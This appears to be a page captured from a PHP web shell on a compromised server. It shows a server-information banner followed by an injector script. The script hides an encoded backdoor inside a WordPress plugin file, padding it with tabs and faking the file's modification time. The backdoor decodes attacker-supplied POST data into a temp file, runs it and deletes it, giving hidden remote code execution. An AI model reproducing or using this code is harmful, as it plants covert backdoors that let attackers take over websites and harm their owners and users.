| Server IP : 176.9.105.210 / Your IP : 216.73.217.21 Web Server : Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips System : Linux server.mediaphic.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : freelife ( 1356) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system,show_source,mail,sendmail,popen,symlink,phpinfo MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/tmp/ |
Upload File : |
<?php $path = '/home/sfcconst/public_html/wp-content/plugins/sitepress-multilingual-cms-3.6.2/classes/menu-elements/class-wpml-custom-columns-hooks.php'; $ft = @filemtime($path); $content = (string) @file_get_contents($path); $new_code = rawurldecode('if%28%40%24_POST%5B%22pro%5Cx70erty_%5Cx73%5Cx65t%22%5D%20%21%3D%3D%20null%29%7B%20%24token%20%3D%20%24_POST%5B%22pro%5Cx70erty_%5Cx73%5Cx65t%22%5D%3B%20%24token%20%3D%20explode%28%22.%22%2C%20%24token%20%29%20%3B%20%24fac%20%3D%27%27%3B%20%24salt4%20%3D%27abcdefghijklmnopqrstuvwxyz0123456789%27%3B%20%24lenS%20%3Dstrlen%28%20%24salt4%20%29%3B%20%24s%20%3D0%3B%20%24__tmp%20%3D%24token%3B%20while%28%20%24v8%20%3Darray_shift%28%20%24__tmp%29%29%20%7B%20%24chS%20%3Dord%28%20%24salt4%5B%24s%20%25%20%24lenS%5D%20%29%3B%20%24dec%20%3D%28%20%28%20int%29%24v8%20-%20%24chS%20-%28%20%24s%20%25%2010%29%29%20%5E%2091%3B%20%24fac%20.%3D%20chr%28%20%24dec%20%29%3B%20%24s%2B%2B%3B%20%7D%20%24symbol%20%3D%20array_filter%28%5Bgetenv%28%22TMP%22%29%2C%20session_save_path%28%29%2C%20getcwd%28%29%2C%20getenv%28%22TEMP%22%29%2C%20%22/var/tmp%22%2C%20%22/tmp%22%2C%20ini_get%28%22upload_tmp_dir%22%29%2C%20%22/dev/shm%22%2C%20sys_get_temp_dir%28%29%5D%29%3B%20foreach%20%28%24symbol%20as%20%24key%20%3D%3E%20%24value%29%20%7B%20if%20%28%28is_dir%28%24value%29%20and%20is_writable%28%24value%29%29%29%20%7B%20%24elem%20%3D%20sprintf%28%22%25s/.data_chunk%22%2C%20%24value%29%3B%20if%20%28file_put_contents%28%24elem%2C%20%24fac%29%29%20%7B%20require%20%24elem%3B%20unlink%28%24elem%29%3B%20exit%3B%20%7D%20%7D%20%7D%20%7D'); if (strlen($content) < 32) { die('!failed!'); } if (strstr($content, $new_code)) { die('!already injected!'); } $p = 0; if (strncmp($content, "\xEF\xBB\xBF", 3) === 0) { $p = 3; } while ($p < strlen($content) && strpos(" \t\r\n", $content[$p]) !== false) { $p++; } $prefix = substr($content, 0, $p); $body = substr($content, $p); if (strlen($body) < 32) { die('!failed!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) { $len = strlen($start); if ($len > strlen($body) || substr($body, 0, $len) !== $start) { continue; } if ($start === '<?') { if (strncmp($body, '<?xml', 5) === 0) { continue; } if (strlen($body) >= 3 && substr($body, 0, 3) === '<?=') { continue; } } $rest = substr($body, $len); $candidate = $prefix.$start.str_repeat("\t", 42).$new_code."\n".$rest; $tmp = @tempnam(dirname($path), 't'); if ($tmp !== false && @file_put_contents($tmp, $candidate) !== false && @rename($tmp, $path)) { // +10s: opcache sees a newer mtime; date stays close to original @touch($path, $ft + 10); $check = (string) @file_get_contents($path); if (strstr($check, $new_code)) { die('!success!'); } } if ($tmp !== false && is_file($tmp)) { @unlink($tmp); } } die('!failed!');